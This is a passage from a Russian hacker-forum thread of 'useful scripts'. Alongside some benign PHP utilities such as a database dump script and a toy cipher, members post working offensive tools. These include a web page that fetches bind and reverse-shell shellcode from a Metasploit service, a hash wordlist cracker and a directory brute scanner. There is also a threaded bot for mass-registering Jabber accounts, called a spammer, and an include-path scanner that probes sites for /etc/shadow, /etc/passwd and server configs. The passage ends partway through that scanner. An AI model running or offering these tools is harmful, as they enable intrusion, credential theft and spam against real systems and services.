Полезные скрипты

Discussion in 'PHP' started by SMiX, 2 Nov 2006.

  1. OnArs

    OnArs Banned

    Joined:
    1 Aug 2008
    Messages:
    211
    Likes Received:
    13
    Reputations:
    1
    Мужики, извините если не в том разделе пишу - нигде не могу найти:
    Нужен редактор как в DLE для собственного скрипта - новостника или что-то примерно похожее.

    Основные требования - загрузка картинок, bbcode'ы (жирный, курсив и прочее).

    Если кто знает где есть - подкиньте пожалуйста - Большое Спасибо! :)
     
    1 person likes this.
  2. Zedi

    Zedi Elder - Старейшина

    Joined:
    6 Jun 2007
    Messages:
    316
    Likes Received:
    120
    Reputations:
    13
    скрипт бекапа БД, при переходе на него, предлагает скачать файл с дампом, если кодировка соединения и БД не совпадает раскомментируйте 18-19 строку и укажите кодировку базы
    PHP:
    <?php

    /**
     * @author Zedi 
     * @copyright 2009
     */
     
    $dbhost 'localhost';
    $dbuser 'root';
    $dbpass '';
    $dbname 'chat';

    $connect mysql_connect($dbhost$dbuser$dbpass) or die("Не могу соединиться с MySQL сервером!<br>" .
        
    mysql_error());
    $db mysql_select_db($dbname) or die("Базы данных не существует!<br>" .
        
    mysql_error());

    #$sql = "SET NAMES utf8";
    #$result = mysql_query($sql, $connect);

    $filename "dump_" date('Y-m-d_H-i-s_') . rand(0100) . $dbname ".sql";
    $ext "sql";
    $mime_type "'application/octet-stream";
    $now gmdate('D, d M Y H:i:s') . ' GMT';

    header('Content-Type: ' $mime_type);
    header('Expires: ' $now);
    header('Content-Disposition: inline; filename="' $filename '"');
    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    header('Pragma: public');

    $sql 'SHOW TABLE STATUS FROM `' $dbname "`";
    $query mysql_query($sql$connect);
    $n mysql_num_rows($query);
    $total_size 0;
    $dump '';
    for (
    $i 0$i $n$i++)
    {
        
    $array_tables mysql_fetch_array($query);
        
    $tname $array_tables[0];
        
    $sql_table "SHOW CREATE TABLE `{$tname}`";
        
    $query_table mysql_query($sql_table$connect);
        
    $table mysql_fetch_array($query_table);
        
    $sql_data "SELECT * FROM `{$tname}`";
        
    $result mysql_query($sql_data$connect);
        
    $c_data mysql_num_rows($result);
        
    $dump .= $table[1] . ";\n";
        if (
    $c_data)
            
    $dump .= "INSERT INTO `{$tname}` VALUES";

        
    $sql_columns "SHOW COLUMNS FROM `{$tname}`";
        
    $query_columns mysql_query($sql_columns$connect);
        
    $c mysql_num_rows($query_columns);
        
    $fields = array();
        for (
    $k 0$k $c$k++)
        {
            
    $column mysql_result($query_columns$k0);
            
    $push array_push($fields$column);
        }
        
    $p 0;
        for (
    $g 0$g $c_data$g++)
        {
            
    $z 0;
            
    $zp $zk '';
            if (
    $p)
                
    $zk ', ';
            
    $dump .= $zk " \n(";
            foreach (
    $fields as $fild)
            {
                if (
    $z)
                    
    $zp ', ';
                
    $dump .= $zp '\'' addslashes(mysql_result($result$g$fild)) . '\'';
                
    $z++;
            }
            
    $dump .= ")";
            
    $p++;
        }
        if (
    $c_data)
            
    $dump .= "; \n";
        else
            
    $dump .= "\n";

    }
    echo 
    $dump;
    die();
    ?>
     
    #682 Zedi, 17 Mar 2009
    Last edited: 17 Mar 2009
    zakidorex, DDoSька and Phm.phx like this.
  3. blaga

    blaga Elder - Старейшина

    Joined:
    23 Mar 2006
    Messages:
    884
    Likes Received:
    273
    Reputations:
    106
    OnArs http://www.xbb.uz/ имхо даже лучше чем у дле.
     
  4. OnArs

    OnArs Banned

    Joined:
    1 Aug 2008
    Messages:
    211
    Likes Received:
    13
    Reputations:
    1
    Большое спасибо! :rolleyes:


    Кто-нибудь встречал скрипты-почтовики, чтобы можно было делать Forwarder email адреса?

    На данный момент пользуюсь средствами своего хостера и на создание email такого типа уходит около минуты, т.е. для создания 1000 таких email адресов, уйдёт оочень много времени....

    Заранее благодарен! :)
     
  5. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Свой кодировщик

    Прилетело сегодня такое сообщение в личку:

    Решил, показалось интересным, добавил расшифровку, может кому и пригодиться:

    PHP:
    <pre>
    <?php  
    $slov 
    'корректно работает со словами по отдельности и текстом в частности'// Слово для шифрования (или текст) 
    $bl 8// Длина блока, на которые делим слово 
    $ran 'бямпуент'// Мусор, который добавляем, если при делении слова получился кусок меньше длины блока 
    $key '38247165'// Ключ перестановки (в пределах длины блока)
    $shifr_slov encode($slov,$bl,$ran,$key);
    echo 
    "Пример шифрования\n";
    echo 
    "Слово < $slov >\n";
    echo 
    "Зашифрованное слово < $shifr_slov >\n";

    function 
    encode($slovo,$blog,$rand,$alg) {
     
    $res2 str_split($alg);
     for (
    $i=0;$i<count($res2);$i++) $res2[$i]--;
     
    $res str_split($slovo,$blog);
     for (
    $i=0;$i<count($res);$i++) {
      if (
    strlen($res[$i])<$blog$res[$i] = $res[$i].$rand;
     }
     for (
    $i=0;$i<count($res);$i++) $res1[] = str_split($res[$i]);
     for (
    $i=0;$i<count($res1);$i++) {
       for (
    $j=0;$j<count($res1[0]);$j++) {
          
    $b $res2[$j];
          
    $hash.=$res1[$i][$b];
       }   
     }
    return 
    $hash;
    }


    ###########################################
    echo "\n\n\n\n\n";
    echo 
    "Пример декодирования\n";

    $slov $shifr_slov// Слово для расшифровки (или текст)
    //$bl = 4; // Длина блока, на которые делим слово
    //$ran = 'ос'; // Мусор, который добавляем, если при делении слова получился кусок меньше длины блока
    //$key = '3124'; // Ключ перестановки (в пределах длины блока)

    echo "Зашифрованное слово < $slov >\n";
    echo 
    "Расшифрованное слово < ".decode($slov,$bl,$ran,$key) . " >\n";


    function 
    decode($slovo,$blog,$rand,$alg) {
        
    $buff ''
        
    $res2 str_split($alg);
        for (
    $i=0;$i<count($res2);$i++) $res2[$i]--;
        for (
    $i=0;$i<count($res2);$i++) {
           
    $c $res2[$i];
           
    $res3[$c] =$i;
        }
        
    $res str_split($slovo,$blog);
        for (
    $i=0;$i<count($res);$i++) $res1[] = str_split($res[$i]);
        for (
    $i=0;$i<count($res1);$i++) {
          for (
    $j=0;$j<count($res1[0]);$j++) {
              
    $b $res3[$j];
              
    $hash.=$res1[$i][$b];
          }   
        }
        
    $hash str_replace($rand,'',$hash);
        for (
    $i=strlen($rand);$i>0;$i--) {
           
    $buff=substr($rand,0,$i);
           if (
    strpos($hash,$buff)) { 
              
    $hash str_replace($buff,'',$hash);
              
    $buff '';
              
    $i=0
           }          
        } 
        return 
    $hash;
    }
    ?>
    </pre>
    корректно работает со словами по отдельности и текстом в частности (правда при достаточной длине мусора, чтобы было как можно меньше совпадений в мусоре (в слогах) и кодируемом/декодируемом тексте)

    т.е. имеет смысл при длине блока и мусора от 4-х единиц

    ЗЫЖ Пост подправил, привел более интересный пример, включая совпадения букв мусора с буквами с кодируемом тексте

    т.е. то, что выше, превращает

    "корректно работает со словами по отдельности и текстом в частности"

    в


    "рнортккера атооб лтссе оаовмпо итнодь леттси ои свкт емоасчсо нтбеияутпм"


    и обратно.

    В принципе, не имея длины блока, ключа и мусора - хрен расшифруешь.
     
    #685 Pashkela, 19 Mar 2009
    Last edited: 13 Aug 2009
    2 people like this.
  6. ph1l1ster

    ph1l1ster Elder - Старейшина

    Joined:
    11 Mar 2008
    Messages:
    396
    Likes Received:
    153
    Reputations:
    19
    Shellcode Generator [uNk r.]

    Code:
    <html>
    <body>
    <style>
    
    body {
        background-color: #2b2b2b;
        font-family: Verdana, Arial, Helvetica, sans-serif;
        font-size: 12px;
        color: #B0B0B0;
    }
    
    .shellcode {
       font-size:10pt;
       color:   #FFF;
       font-weight:normal;
    }
    
    .border
    {
    border: 1px solid #006699;
    background-color:#000000;
    }
    .header
    {
    background-color:#000000;
    }
    .content-background
    {
    background-color:#000000;
    }
    .text-strong
    {
    font-weight:bold;
    }
    .content-border
    {
    border: 1px solid #006699;
    background-color:#1A1A1A;
    }
    .content-background
    {
    background-color:#000000;
    }
    a:link {
        color: #006699;
    }
    a:visited {
        color: #006699;
    }
    a:hover {
        color: #CCCCCC;
    }
    a:active {
        color: #CCCCCC;
    }
    textarea
    {
        font-family: Verdana, Arial, Helvetica, sans-serif;
        font-size: 10px;
        color: #006699;
        background-color:#161616;
        border: #006699 1px solid;
    }
    input
    {
        font-family: Verdana, Arial, Helvetica, sans-serif;
        font-size: 10px;
        color: #006699;
        background-color:#161616;
        border: #006699 1px solid;
        }
        select
        {
        font-family: Verdana, Arial, Helvetica, sans-serif;
        font-size: 10px;
        color: #006699;
        background-color:#161616;
        border: #006699 1px solid;
        }
    </style>
    <?PHP
    if(isset($_POST['port'])){
    
    
    function input_match($source, $num, $preg, $preg1)
    {
    $parts = explode($preg, $source);
       $parts = explode($preg1, $parts[$num]);
          $var = $parts[0];
    return $parts[0];
    }
    
    function browse($url)
    {
    $ch = curl_init();
       curl_setopt ($ch, CURLOPT_URL, $url);
       curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
       curl_setopt ($ch, CURLOPT_TIMEOUT, '10');
       curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
       curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
          $store = curl_exec ($ch);
    return $store;
    }
    function glob_match_bind_shell($os)
    {
       if($os == 'linux_ia32_bind')
       {
          $glob == "GLOB(0x2b4a01c2fef0)";
       }else
          if($os == 'bsd_ia32_bind')
          {
          $glob == "GLOB(0x2b4a01c208a0)";
          }else
             if($os == 'win32_bind')
             {
                $glob == "GLOB(0x2b4a01c41e90)";
             }
    return $glob;         
    }
    
    function glob_match_rev_shell($os)
    {
       if($os == 'linux_ia32_reverse')
       {
          $glob == "GLOB(0x2b4a01c41fb0)";
       }else
          if($os == 'bsd_ia32_reverse')
          {
          $glob == "GLOB(0x2b4a01c41d30)";
          }else
             if($os == 'win32_reverse')
             {
                $glob == "GLOB(0x2b4a01b95800)";
             }
    return $glob;         
    }
    
    function bind_shell($port, $os)
    {
       $glob = glob_match_bind_shell($os);
          $input = browse("http://metasploit.com:55555/PAYLOADS?parent=$glob&MODULE=$os&MODE=GENERATE&OPT_LPORT=".$port."&MaxSize=&BadChars=0x00+&ENCODER=default&ACTION=Generate+Payload");
          $size = input_match($input, 1, "Size=", " ");
          $output = input_match($input, 1, "*/", "#");
          $type = ucwords(str_replace("_"," ",$os));
          echo "<table width='100%' cellspacing=0 border=0 cellpadding=0>
          <br><pre>
          <div class=shellcode>/* <br> Affix Presents... <br> uNkn0wn's Online Shell Code Generator <br> Port = $port <br> Size = $size <br> Type = $type <br> */ $output </div></table>";
    }
    
    function reverse_shell($host, $port, $os)
    {
    $glob = glob_match_rev_shell($os);
       $input = browse("http://metasploit.com:55555/PAYLOADS?parent=$glob&MODULE=$os&MODE=GENERATE&OPT_EXITFUNC=seh&OPT_LHOST=$host&OPT_LPORT=$port&MaxSize=&BadChars=0x00+&ENCODER=default&ACTION=Generate+Payload");
       $size = input_match($input, 1, "Size=", " ");
       $output = input_match($input, 1, "*/", "#");
       $type = ucwords(str_replace("_"," ",$os));
       echo "<table width='100%' cellspacing=0 border=0 cellpadding=0>
          <br><pre>
          <div class=shellcode>/* <br> Affix Presents... <br> uNkn0wn's Online Shell Code Generator <br> Port = $port <br> Size = $size <br> Type = $type <br> */ $output </div></table>";
    
    }
    
    if(!eregi("_bind", $os))
       {
       echo reverse_shell($host, $port, $os);
          }else{
          echo bind_shell($port, $os);
          }
    
    }else{
    echo '<center>
    <table width="33%" height="90" border="0" cellpadding="3" cellspacing="1" class="content-border" id="table3">
    <tr>
    <td class="content-background">
    <div align="center"><center><font face="Trebuchet MS" size=3>
       <b>uNkn0wn.ws Online Shellcode Generator!<br />
          Affix</b>
    </font>
    </center>
    <br>
    <font face="Trebuchet MS" size=2 color=#006699>
    <hr>
    <form method="POST" action="'.$_SERVER['PHP_SELF'].'">
    <table width="100%" cellspacing=0 border=0 cellpadding=0>
    Shell Code:  <select name="os">
          <option value="linux_ia32_bind">Linux IA32 Bind Shell</option>
          <option value="linux_ia32_reverse">Linux IA32 Reverse Shell</option>
          <option value="bsd_ia32_bind">BSD IA32 Bind</option>
          <option value="bsd_ia32_reverse">BSD IA32 Reverse</option>
          <option value="win32_bind">Windows[32] Bind</option>
          <option value="win32_reverse">Windows[32] Reverse</option>
          </select></table>
    <table width="100%" cellspacing=0 border=0 cellpadding=0>
    Port: <input type="text" name="port" value="8080"></table>
    <table width="100%" cellspacing=0 border=0 cellpadding=0>
    Reverse IP: <input type="text" name="host" value='.$_SERVER['REMOTE_ADDR'].'></table>
    <table width="100%" cellspacing=0 border=0 cellpadding=0>
    <input type="submit" name="submit" value="Generate Shell Code!">
    </table>';
    $port = $_REQUEST['port'];
    $host = $_REQUEST['host'];
    $os     = $_REQUEST['os'];
    }
    ?>
    </body>
    </html>
     
    2 people like this.
  7. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    Code:
    #!/usr/bin/python
    #sha1/md5 wordlist brute
    #http://sql.parsers.info
    #faza02[at]gmail[dot]com
    
    
    
    import hashlib
    
    
    def brutemd():
          fil = open(wordlist, 'a+').readlines()
          for i in range(len(fil)):
           md5 = hashlib.md5(fil[i][:-1]).hexdigest()
           if md5 == hash:
            print hash + ':' + fil[i][:-1]
    
    
    def brutesha():
      fil = open(wordlist, 'a+').readlines()
      for i in range(len(fil)):
       sha = hashlib.sha1(fil[i][:-1]).hexdigest()
       if sha == hash:
        print hash + ':' + fil[i][:-1]
    
    
    hash = raw_input(u'hash: ')
    wordlist = raw_input('wordlist: ')
    if len(hash) == 40:
               brutesha()
    if len(hash) == 32:
               brutemd()
    ша1/мд5 брут.
    (c) faza02
     
    _________________________
    1 person likes this.
  8. Shadow_p1raT

    Shadow_p1raT Elder - Старейшина

    Joined:
    9 Mar 2008
    Messages:
    174
    Likes Received:
    93
    Reputations:
    0
    Вообщем решил сюда тоже запостит,так как темка та уже потерялась а скрипт полезный:)
    Требует модуля php_openssl.
    PHP:
    <?php 
    ######################################### 

    #            Google Maps Api by Shadow_p1raT 
    #                ICQ#: 9930875 

    ######################################### 
    # [setting] # 
    $email '[email protected]'// Аккунт на гмаил.ком 
    $pass  '1111111'// Пароль от акка 
    $proxy '127.0.0.1:3130'// Прокси если надо 
    $url   'http://forum.antichat.ru/'// Урл сайта  

    #[/setting] # 
    echo '<title>Google Maps Api by Shadow_p1raT</title>'
    set_time_limit(0); 
    class 
    gMapKey 
         
        private 
    $email
        private 
    $pass
        private 
    $proxy
        private 
    $url
        private 
    $result;
         
         
        private function 
    sock_do($action,$method,$header false,$params false,$cookie false,$referer false)  
        {  
           
    $out    = array('http' => array());  
           
    $method strtoupper($method);  
           if(
    $method == 'GET') {  
              
    $action .= !empty($params) ? '?'.$params '';  
              
    $out['http']['method'] = 'GET';  
            
           } elseif(
    $method == 'POST') {  
              
    $out['http']['method']  = 'POST';  
              
    $out['http']['header']  = "Content-type: application/x-www-form-urlencoded\r\n".  
                                        
    "Content-length: ".strlen($params)."\r\n";  
              
    $out['http']['content'] = $params;                          
           } else {  
              die(
    'Йа криветко');  
           }   
           if(
    $this->proxy) {  
              
    $out['http']['proxy'] = 'tcp://'.$this->proxy;  
           }  
           if(
    $cookie) {  
              
    $out['http']['header'] .= 'Cookie: '.$cookie."\r\n";  
           }  
           if(
    $referer) {  
              
    $out['http']['header'] .= 'Referer: '.$referer."\r\n";  
           }  
           
    $out['http']['header'] .= "Connection: close\r\n";  
           
    $out['http']['header'] .= "User-Agent: Opera/9.62 (Windows NT 6.0; U; ru) Presto/2.1.1\r\n";  
         
           
    $content stream_context_create($out);  
           
    $result = @file_get_contents($action,false,$content);  
           
    $res = array();  
           
    $res = array($result);  
           if(
    $header) {  
              
    $res[] = implode("\r\n",$http_response_header);  
           }  
           return 
    $res//Возвращаем ответ + заголовки                      
        

        private function 
    preg_Cookie($cookie
        { 
           
    preg_match_all('#Set-cookie: (.*;)#UiS',$cookie,$headers); 
           return 
    implode(' ',$headers['1']); 
        } 
        private function 
    preg_Location($text
        { 
           
    preg_match('#Location: (.*)#',$text,$reg); 
           return 
    trim($reg['1']); 
        } 
        private function 
    getnormal ($str
        { 
           return 
    str_replace ("&amp;""&"$str); 
        } 
        public function 
    setOption($email,$pass,$url,$proxy ''
        { 
           
    $this->email urlencode($email); 
           
    $this->pass  urlencode($pass); 
           
    $this->url   urlencode($url); 
           
    $this->proxy $proxy
        }
        public function 
    parse()
        {
           if(
    strstr($this->result,'Your key is')) 
           { 
              
    preg_match('~page_title">(.*)\&copy;2008 Google~sUi',$this->result,$reg); 
              echo 
    '<html> 
                   <head> 
                   <link href="http://code.google.com/css/codesite.pack.01312008.css" type="text/css" rel="stylesheet"></link> 
                   </head>'

              echo 
    $reg[1]; 
           } 
           else 
           { 
              echo 
    '[-] Не удалось получить Google Maps API Key!'
           }           
        }           
        public function 
    Sign()  
        { 
           
    $res $this->sock_do('https://www.google.com/accounts/LoginAuth','POST',1,'Email='.$this->email.'&Passwd='.$this->pass.'&PersistentCookie=yes&rmShown=1&signIn=%D0%92%D0%BE%D0%B9%D1%82%D0%B8&asts='); 
           
    $cookie $this->preg_Cookie($res[1]); 
           
    $location $this->preg_Location($res[1]) or die('[-] Неправильный логин или пароль!'); 
           unset(
    $res); 
           
    $res $this->sock_do($location,'GET',1,'',$cookie); 
           
    preg_match('/url='(.+?)'/',$res[0],$reg) or die('[-] Произошла ошибка при логине аккунта!'); 
           
    $location $this->getnormal($reg[1]); 
           unset(
    $res); 
           
    $res $this->sock_do($location,'GET',1,'',$cookie); 
           
    $cookie $this->preg_Cookie($res[1]); 
           unset(
    $res); 
           
    $res $this->sock_do('http://maps.google.com/maps/api_signup?url='.$this->url,'GET',1,'',$cookie);  
           
    $this->result $res[0];
           unset(
    $res); 
        }
    }            
    $gmk = new gMapKey(); 
    $gmk->setOption($email,$pass,$url,$proxy); 
    $gmk->Sign();
    $gmk->parse();        
    ?>
    Форум порезал некоторые регулярки)
    Качаем
     

    Attached Files:

  9. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    DirsSearcher

    Code:
    #!/usr/bin/python
    #header  dirs scan
    #http://sql.parsers.info/
    #faza02[at]gmail[dot]com
    
    import urllib
    
    def  scan():
    	print '     ____________________________  '
    	print '    /                           /\ '
    	print '   /                          _/ /\ '
    	print '  /         by faza02         / \/ '
    	print ' /                           /\   '
    	print '/___________________________/ / '
    	print '\___________________________\/ '
    	print ' \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ '
    
    	good = [100, 101, 200, 201,202, 203,204,205, 206, 300, 301, 302, 303, 304, 305]
    
    	site = raw_input(u'\nsite: ')
    	dirlist = raw_input(u'dirs: ')
    
    	fileopen = open(dirlist, 'a+').readlines()
    	for i in range(len(fileopen)):
    	 	state = urllib.urlopen('http://' + site + fileopen[i][:-1]).getcode()
    	 	if state in good:
    	 	 print fileopen[i][:-1] + ' - ' + str(state)
    	 	open('c:/' + site + '_log.txt', 'a+').write(fileopen[i][:-1] + ' - ' + str(state) + '\n')
    
    scan()
    print '\nok!'
    сканер директорий, доволбно быстрый.
    все логи хранит в c:/[site]_log.txt
    http://sql.parsers.info/list.txt - неплохой словарь.
     
    _________________________
    1 person likes this.
  10. imajo.ati

    imajo.ati Banned

    Joined:
    21 Feb 2008
    Messages:
    232
    Likes Received:
    62
    Reputations:
    8
    PHP:
    <?php

    ######################################## #######################################
    #
    #    показывает, во сколько раз различаются скорости 2х кусков кода
    #    полезно для оптимизации
    #    настройки:

        
    $tests  5;    # количество тестов для среднего арифметического
        
    $calc   50;   # количество измерений за 1 тест
        
    $repeat 500;  # количество повторов(подряд) кода за 1 измерение

    #    если используется ~ быстрый код, цифры нужно увеличить ( > )
    #    если используется медленный код, цифры нужно уменьшить ( < )
    #
    ######################################## #######################################

    echo "BEGIN TEST\n\n";

    $tests   abs( (int)$tests );
    $calc    abs( (int)$calc );
    $repeat  abs( (int)$repeat );
    $control calc_control$repeat );
    $cnt     $tests $calc;
    $c       0;
    $result  0;

    if ( 
    $tests === || $cnt === end_test"FATAL ERROR" );

    for ( 
    $i 0$i $tests; ++$i $result += test();
    $result round$result $tests );

         if ( 
    $result )    end_test"1 faster x{$result});
    else if ( 
    $result )    end_test"2 faster x" . (-$result) );
    else            
    end_test"~ identical" );

    ######################################## #######################################

    function end_test$text )
    {
        echo 
    "\n\n {$text}\n\nEND TEST\nPress ENTER";
        die( 
    fgets(STDIN) );
    }
    //eof

    function calc_control$repeat )
    {
        
    $avg 0;
        
    $cnt 5;
        for ( 
    $i 0$i $cnt; ++$i )
        {
            
    $time_s microtime(1);
            for ( 
    $o 0$o $repeat; ++$o ) {}
            
    $time_f microtime(1);
            
    $avg += $time_f $time_s;
        }
        return( 
    $avg/$cnt );
    }

    function 
    test()
    {
        global 
    $calc$repeat$control$cnt$c;
        
    $f1  0;
        
    $f2  0;
        
    $result 0;
        for ( 
    $i 0$i $calc; ++$i )
        {
            
    $time_s microtime(1); for ( $o 0$o $repeat; ++$o ) {}
            
    $time_f microtime(1); 10000 * ( $time_f $time_s $control );

            
    $time_s microtime(1);
            for ( 
    $o 0$o $repeat; ++$o )
            {






                
    # код 1
                
    microtime();






            }
            
    $time_f microtime(1);
            
    $timer1 10000 * ( $time_f $time_s $control );

            
    $time_s microtime(1); for ( $o 0$o $repeat; ++$o ) {}
            
    $time_f microtime(1); 10000 * ( $time_f $time_s $control );

            
    $time_s microtime(1);
            for ( 
    $o 0$o $repeat; ++$o )
            {






                
    # код 2
                
    microtime(1);






            }
            
    $time_f microtime(1);
            
    $timer2 10000 * ( $time_f $time_s $control );

            
    $c++;  $complete round( ($c/$cnt) * 100 );
            echo 
    "\r complete: {$complete}%";

            if ( 
    round$timer1 ) === round$timer2 ) )
            {
                
    end_test("absolute identical");
            }
            else if ( 
    $timer2 $timer1 // 1 faster
            
    {
                ++
    $f1;
                
    $result += $timer2 $timer1;
            }
            else if ( 
    $timer1 $timer2 // 2 faster
            
    {
                ++
    $f2;
                
    $result += $timer1 $timer2;
            }
        }
        
    usleep(100000);
        
    $result /= $calc;
        if ( 
    $f1>&& $f2>)    return 0;
        else if ( 
    $f1 )    return $result;
        else            return -
    $result;
    }
    //eof

    ######################################## #######################################

    ?>
     
  11. art2222

    art2222 Elder - Старейшина

    Joined:
    28 Apr 2008
    Messages:
    118
    Likes Received:
    57
    Reputations:
    10
    Получаем первую цитату из топа бездны башорга
    PHP:
    <?php
        $text 
    file_get_contents('http://bash.org.ru/abysstop');
        
    preg_match('#<div>(.+)</div>#U',$text,$fraza);
        echo 
    '<p>',$fraza[0],'</p>';
    ?>
     
  12. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    автореггер jid'ов на xim.ca
    автор: eLwaux
    perl:
    PHP:
    #! /usr/bin/perl -w

    use IO::Socket;
    use 
    warnings;
    use 
    threads;
    use 
    threads::shared;
    use 
    Fcntl ':flock';

    #================================================================================
    #================================================================================

    my $EMAIL           =  '';

    my $names          =  'names.txt';
    my $threads          =  shift || 15;

    my $DEBUG           0;

    #================================================================================
    #================================================================================

    sub s2f {
        
    open(FILE'>>'.$_[0]) || die(" [-] could not save file!\n");                                
        
    flock(FILELOCK_EX);
        print 
    FILE $_[1];
        
    flock(FILELOCK_UN);
        
    close(FILE);
    }

    sub generate_random_string
    {
        
    my $length_of_randomstring=shift;# the length of 
                 # the random string to generate

        
    my @chars=('a'..'z','A'..'Z','0'..'9','_');
        
    my $random_string;
        foreach (
    1..$length_of_randomstring
        {
            
    $random_string.=$chars[rand @chars];
        }
        return 
    $random_string;
    }

    #========================
    #== start.. =============
    #================================================================================

    open (FILE'<'.$names) || die(" [-] ".$names." not found!\n");
    my @NAMES shared = <FILE>;
    chomp(@NAMES);
    close(FILE);

    if (
    $DEBUG == 1) {s2f('DEBUG',"=======\n\n\n");}
    print  
    "\n   ] xim.ja NAMES spammer\n";
    print  
    "   ] eLwaux(c)2009\n\n";
    print  
    "   ] reg: ".(scalar(@NAMES))." accs\n\n";

    $time      time
    printf " [ ] started [".localtime()."]\n\n";
    print  
    " ".("-"x40)."\n";

    for(
    0..$threads) {$trl[$_] = threads->create(\&Spam$_);}
    for(@
    trl) { $_->join; }

    print  
    " ".("-"x40)."\n";
    $time time-$time;
    printf "\n [ ] finished [".localtime()."]\n";
    printf " [i] time elapsed: $time sec\n";

    <
    stdin>;
    exit;

    sub Spam{

        while(@
    NAMES)
        {    
            {
    lock(@NAMES);
             
    $NAMES shift @NAMES;}
            
            
    my $PASSWORD generate_random_string(int(rand(20)+10));
            
            
    my $post    '';
            
    my $header  "POST http://xim.ca:9090/plugins/registration/sign-up.jsp?username=".$NAMES."&name=".$NAMES."&email=&password=".$PASSWORD."&passwordConfirm=".$PASSWORD."&create=Create+Account
     HTTP/1.1\r\n"
    .
                   
    "Host: xim.ca:9090\r\n".
                   
    "User-Agent: HeMa\r\n".
                   
    "Content-Type: application/x-www-form-urlencoded\r\n".
                   
    "Connection: Close\r\n".
                   
    "Referer: Referer: http://xim.ca:9090/plugins/registration/sign-up.jsp?success=true\r\n".
                   
    "Cookie: JSESSIONID=jejejejejeje\r\n".
                   
    "Content-Length: ".length($post)."\r\n\r\n".
                   
    "$post\r\n\r\n";
            
    my $sock sock();
            print 
    $sock $header;
            
    read($sock,my $answ,10000);
            
    close($sock);
            
            if (
    $DEBUG == 1) {s2f('DEBUG',$answ);}
            
            
            if (
    $answ =~ /sign.up.user_exist/) {
                print 
    " [-] ".$NAMES."\n";
            }
            else {
                print 
    " [+] ".$NAMES.':'.$PASSWORD."\n";
                
    s2f('result',$NAMES.'@xim.ca : '.$PASSWORD."\n");
            }

        }
    }






    #=============================================================================
    #=============================================================================


    #create new socket connection
    sub sock {
        
    my $sock;
        do {
            
    $sock = new IO::Socket::INET 
                
    (
                    
    PeerAddr => 'xim.ca',
                       
    PeerPort => 9090,
                       
    PeerProto => 'tcp'
                       
    TimeOut => 10
                
    ) or print "[-] connection error!";
            } while (!
    $sock);
        return 
    $sock;
    }

    #=============================================================================
    #=============================================================================
     
  13. ph1l1ster

    ph1l1ster Elder - Старейшина

    Joined:
    11 Mar 2008
    Messages:
    396
    Likes Received:
    153
    Reputations:
    19
    простенький Include path Scanner, мало путей, позже добавлю больше.

    Code:
    #!/usr/bin/perl
    use LWP::UserAgent;
    system('cls');
    print qq(
    ###########################
    #   Include path Scanner  #
    #    coded by ph1l1ster   #
    ###########################
    );
    print "\n\n\nPlease enter site adress.\n";
    print "e.g.: http://google.com/?id=\n\n";
    print "> ";
    $site = <STDIN>;
    chomp($site);
    
    @patchs = ('/etc/passwd','/etc/shadow','/etc/group','/etc/security/group','/etc/security/passwd','/etc/security/user','/etc/security/environ','/etc/security/limits','/etc/ftpchroot',
    '/etc/ftphosts','/etc/pure-ftpd.conf','/etc/pure-ftpd/pure-ftpd.pdb','/etc/pureftpd.pdb','/etc/pureftpd.passwd','/etc/pure-ftpd/pureftpd.pdb','/etc/wu-ftpd/ftpaccess','/etc/wu-ftpd/ftphosts',
    '/etc/wu-ftpd/ftpusers','/etc/vsftpd.chroot_list','/etc/logrotate.d/vsftpd.log','/etc/vsftpd/vsftpd.conf','/etc/vsftpd.conf','/etc/chrootUsers','/etc/proftp.conf','/etc/protpd/proftpd.conf','/etc/vhcs2/proftpd/proftpd.conf',
    '/etc/proftpd/modules.conf','/etc/mysql/my.cnf','/etc/my.cnf','/etc/php4.4/fcgi/php.ini','/etc/php4/apache/php.ini','/etc/httpd/php.ini','/etc/php4/apache2/php.ini','/etc/php5/apache/php.ini','/etc/php5/apache2/php.ini',
    '/etc/php/php.ini','/etc/php/php4/php.ini','/etc/php/apache/php.ini','/etc/php/apache2/php.ini','/etc/php.ini','/etc/logrotate.d/proftpd','/etc/apache/conf/httpd.conf','/etc/apache2/conf/httpd.conf','/etc/httpd/conf/httpd.conf',
    '/etc/http/conf/httpd.conf','/etc/apache2/httpd.conf','/etc/httpd/httpd.conf','/etc/http/httpd.conf','/etc/logrotate.d/ftp','/etc/httpd.conf','/etc/httpd/conf/httpd.conf','/etc/apache/conf/httpd.conf','/etc/apache2/httpd.conf',
    '/etc/httpd/logs/acces_log','/etc/httpd/logs/acces.log','/etc/php/cgi/php.ini','/etc/php4/cgi/php.ini','/etc/php5/cgi/php.ini','/etc/pure-ftpd/pure-ftpd.conf',
    '/logs/error.log','/logs/access.log','/logs/error.log','/logs/access.log','/logs/error.log','/logs/access.log','/logs/error.log','/logs/access.log','/logs/error.log','/logs/access.log',
    '/logs/error.log','/logs/access.log','/logs/error.log','/logs/access.log','/logs/error.log','/logs/access.log','/logs/error.log','/logs/access.log','/logs/error.log','/logs/access.log',
    '/logs/error.log','/logs/access.log','/apache/logs/access.log','/logs/pure-ftpd.log',
    '/usr/local/apache/logs/access_ log','/usr/local/apache/logs/access. log','/usr/local/apache/logs/error_log','/usr/local/apache/logs/error.log','/usr/local/apache/logs/access_log',
    '/usr/local/apache/logs/access.log','/usr/local/apache/logs/error_log','/usr/local/apache/logs/error.log','/usr/local/apache2/logs/access_log','/usr/local/apache2/logs/access.log',
    '/usr/local/apache2/logs/error_log','/usr/local/apache2/logs/error.log','/usr/local/apache/logs/access_log','/usr/local/apache/logs/access.log','/usr/local/apache/logs/error_log',
    '/usr/local/apache/logs/error.log','/usr/local/apache/conf/httpd.conf','/usr/local/apache2/conf/httpd.conf','/usr/local/etc/apache/conf/httpd.conf','/usr/local/apache/conf/httpd.conf',
